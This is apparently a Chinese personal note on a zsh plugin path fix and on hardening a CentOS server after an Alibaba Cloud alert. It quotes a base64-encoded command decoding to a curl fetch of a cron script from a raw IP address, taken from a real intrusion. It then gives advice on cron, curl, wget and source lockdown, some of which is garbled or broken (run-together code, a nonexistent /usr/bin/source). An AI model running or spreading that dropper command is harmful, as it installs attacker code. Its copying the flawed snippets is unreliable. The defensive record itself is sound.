解决zsh 找不到zsh插件的问题
解决方法
修改vim ~/.zshrc
添加如下内容：
fpath=(/usr/share/zsh/5.0.2/functions $fpath)
可疑编码命令
~ echo Y3VybCAtZnNTTCBodHRwOi8vMTQwLjk5LjMyLjQ4L2IyZjYyOC9jcm9uYi5zaAo=|base64 -d
curl -fsSL http://140.99.32.48/b2f628/cronb.sh
vim /etc/crontab
【阿里云】尊敬的whuanghkl@163.com：云盾云安全中心检测到您的服务器：123.57.78.161（whuang78.161 ）出现了可疑安全事件：可疑编码命令，建议您立即登录云安全中心控制台-安全告警处理https://t.aliyun.com/G7cSwaKO 进行处理。
在 CentOS 7 中，可以通过重定向或限制 source 命令的使用，减少被攻击的可能性。以下是一些常见的防护措施：
方法 1：为 source 创建安全别名
将 source 命令限制为只能加载可信目录中的文件。
- 编辑用户的 Shell 配置文件 对于 Zsh 用户，编辑
~/.zshrc：
bash">vim ~/.zshrc
对于 Bash 用户，编辑 ~/.bashrc：
bash">vim ~/.bashrc
- 添加以下别名 将
source命令重定向到特定目录：
bash">alias source='restricted_source'restricted_source() {ALLOWED_DIR="/trusted/directory"if [[ $1 == $ALLOWED_DIR/* ]]; then/usr/bin/source "$@"elseecho "Error: Unauthorized source usage detected."fi
}
- 刷新配置文件 执行以下命令使其生效：
bash">source ~/.zshrc
或
source ~/.bashrc
- 验证 测试加载受限路径：
bash">source /trusted/directory/safe_script.sh # 成功
source /tmp/malicious_script.sh # 失败
方法 2：通过 Shell 限制 source
直接禁用 source 命令，强制使用其他安全方法（如 . 命令）。
- 编辑配置文件 编辑用户的 Shell 配置文件，例如
~/.bashrc或~/.zshrc：
bash">vim ~/.zshrc
- 覆盖
**source**命令 添加以下内容：
bash">unalias source 2>/dev/null
source() {echo "The 'source' command is disabled for security reasons."return 1
}
unalias base64 2>/dev/null
base64() {
echo "The 'base64' command is disabled for security reasons."return 1
}
- 刷新配置文件 执行以下命令使其生效：
bash">source ~/.zshrc
- 测试 尝试运行
source命令：
bash">source /path/to/script.sh
输出应为：
The 'source' command is disabled for security reasons.
2. 加固系统，防止未来攻击
2.1 保护关键系统文件
将 /etc/crontab、/etc/rc.d/rc.local 等关键文件设为 只读，防止未经授权的修改：
bash">chattr +i /etc/crontab
chattr +i /etc/rc.d/rc.local
chattr +i /etc/cron.d/*
chattr +i /etc/cron.daily/logrotate
如果需要修改文件，先移除保护：
bash">chattr -i /etc/crontab
**2.2 禁用 **wget** 和 ****curl**
如果服务器不需要使用 wget 和 curl，可以禁用它们：
bash">chmod 000 /usr/bin/wget
chmod 000 /usr/bin/curl
防止用户误用：
bash">alias wget='echo "wget is disabled for security reasons"'
alias curl='echo "curl is disabled for security reasons"'
要恢复：
bash">chmod 755 /usr/bin/wget
chmod 755 /usr/bin/curl
unalias wget
unalias curl
2.3 限制 **crontab** 访问权限
禁用非 root 用户的 crontab
编辑 /etc/cron.allow，添加允许使用 crontab 的用户：
bash">echo "root" > /etc/cron.allow
确保 /etc/cron.deny 存在并清空：
bash">> /etc/cron.deny
限制 crontab 仅允许 root 访问：
bash">chmod 600 /etc/crontab
chown root:root /etc/crontab
